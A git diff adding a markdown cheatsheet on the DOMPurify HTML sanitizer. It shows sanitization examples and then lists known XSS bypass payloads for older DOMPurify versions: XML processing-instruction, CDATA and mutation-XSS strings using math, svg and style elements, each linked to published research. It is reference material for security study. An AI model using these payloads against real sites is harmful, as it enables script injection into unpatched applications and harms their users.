add dompurify

content/docs/framework/dompurify.md

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+---
+title: "DOMPurify"
+description: "Cheatsheet on DOMPurify"
+lead: "Cheatsheet on DOMPurify"
+date: 2023-01-01T00:00:00+00:00
+lastmod: 2023-01-01T00:00:00+00:00
+draft: false
+images: []
+menu:
+  docs:
+    parent: "framework"
+weight: 620
+toc: true
+---
+
+## DOMPurify
+
+[DOMPurify](https://github.com/cure53/DOMPurify) is the leading client-side XSS sanitizer for HTML, MathML and SVG.
+
+Examples of sanitization:
+
+```js
+DOMPurify.sanitize('<img src=x onerror=alert(1)//>'); // becomes <img src="x">
+DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>'); // becomes <svg><g></g></svg>
+DOMPurify.sanitize('<p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p>'); // becomes <p>abc</p>
+DOMPurify.sanitize('<math><mi//xlink:href="data:x,<script>alert(4)</script>">'); // becomes <math><mi></mi></math>
+DOMPurify.sanitize('<TABLE><tr><td>HELLO</tr></TABL>'); // becomes <table><tbody><tr><td>HELLO</td></tr></tbody></table>
+DOMPurify.sanitize('<UL><li><A HREF=//google.com>click</UL>'); // becomes <ul><li><a href="//google.com">click</a></li></ul>
+```
+
+## Vulnerabilities
+
+### Version <= 3.0.10 & 3.0.11
+
+- [Bypassing DOMPurify with good old XML](https://flatt.tech/research/posts/bypassing-dompurify-with-good-old-xml/)
+
+```xml
+<?xml-stylesheet > <img src=x onerror="alert('DOMPurify bypassed!!!')"> ?>
+<?img ><img src onerror=alert(1)>?>
+<![CDATA[ ><img src onerror=alert(1)> ]]>
+```
+
+### Version 3.0.8
+
+- [Playing with DOMPurify custom elements handling](https://mizu.re/post/playing-with-dompurify-ce-handling)
+
+### Version < 2.1
+
+- [Bypassing DOMPurify again with mutation XSS](https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss)
+
+```html
+<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">
+```
+
+### Version < 2.0.17
+
+- [Mutation XSS via namespace confusion](https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/)
+
+```html
+<form>
+<math><mtext>
+</form><form>
+<mglyph>
+<style></math><img src onerror=alert(1)>
+```
+
+### Version <= 2.0.0
+
+- [Write-up of DOMPurify 2.0.0 bypass using mutation XSS](https://research.securitum.com/dompurify-bypass-using-mxss/)
+
+```html
+<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
+```